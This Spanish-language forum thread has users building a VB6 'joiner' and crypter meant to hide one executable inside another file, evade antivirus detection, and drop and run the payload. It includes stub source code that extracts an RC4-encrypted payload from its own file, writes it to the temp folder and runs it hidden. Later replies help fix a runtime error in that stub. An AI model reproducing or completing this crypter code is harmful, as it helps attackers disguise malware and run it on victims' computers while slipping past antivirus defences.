Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?
Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.
http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html
De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.
Private Sub Command1_Click()
With pp
.DialogTitle = "Elige el primer archivo"
.Filter = "Ejecutables|*.exe"
.ShowOpen
End With
arcUno.Text = pp.FileName
End Sub
Private Sub Command2_Click()
With pp
.DialogTitle = "Elige el segundo archivo"
.Filter = "Todo tipo de archivos|*"
.ShowOpen
End With
arcDos.Text = pp.FileName
End Sub
Private Sub Command3_Click()
Dim Data() As Byte
Dim DataLon As Long
Open arcUno For Binary Lock Read As 1
Open arcDos For Binary Lock Read As 2
Open byteRes For Binary Access Write As 3
DataLon = FileLen(arcUno) + Len(arcDos)
ReDim Data(DataLon) As Byte
Get #1, , Data
Get #2, , Data
Put #3, , Hex(Data(DataLon))
Close
End Sub
un joiner ;D
generalmente se hace un split a las cadenas o bytes que has de dejar una marca para separarlos
aunque como me ah dicho Karcrack eso es vergonzoso y es verdad ;D y tambien
porque me ah dicho que los AVs detectan rapido los archivos "pegados"
para juntar un exe y una imagen es necesario un tercer pedacito de programa llamado stub.
Se encarga de buscar en su propio codigo las dos partes y ejecutarlas.
Existen con RUNPE y de extraccion.
Busca en google :D
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range.
A continuación pongo el code de mi stub.
Option Explicit
Sub Main()
Dim Yo As String, Datos As String, sData() As String
Yo = App.Path & "\" & App.EXEName & ".exe"
Open Yo For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "%%##%%")
sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error
Open Environ("TEMP") & "\tmp.exe" For Binary As #1
Put #1, , sData(1)
Close #1
Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide
End Sub
Private Function RC4(ByVal expresion As String, ByVal password As String) As String
Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
Dim key() As Byte, byteArray() As Byte
Dim i2 As Long
key() = StrConv(password, vbFromUnicode)
For i = 0 To 255
s(i) = i
k(i) = key(i Mod Len(password))
Next i
For i = 0 To 255
j = (j + s(i) + k(i)) Mod 256
tmp = s(i)
s(i) = s(j)
s(j) = tmp
Next i
byteArray() = StrConv(expresion, vbFromUnicode)
i = 0
j = 0
For i2 = 0 To Len(expresion) - 1
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
tmp = s(i)
s(i) = s(j)
s(j) = tmp
t = (s(i) + s(j)) Mod 256
byteArray(i2) = byteArray(i2) Xor s(t)
Next i2
RC4 = StrConv(byteArray, vbUnicode)
End Function
Gracias por adelantado
Emmmm probablemente solo resulte un array con un elemento "sData(0)", ya sea porque en el archivo que tratas de abrir no está colocada dicha "firma":
sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error
Antes de la linea de arriba prueba poniendo:
Msgbox ubound(sData)
Y nos cuentas lo que resultó.
Saludos!
Me sale un MsgBox con un 2. Si aydua de algo puedo poner el código del crypter tambien.
pone en otra variable el dato descifrado.
sOrig = RC4(sData(1), "ma5t3r")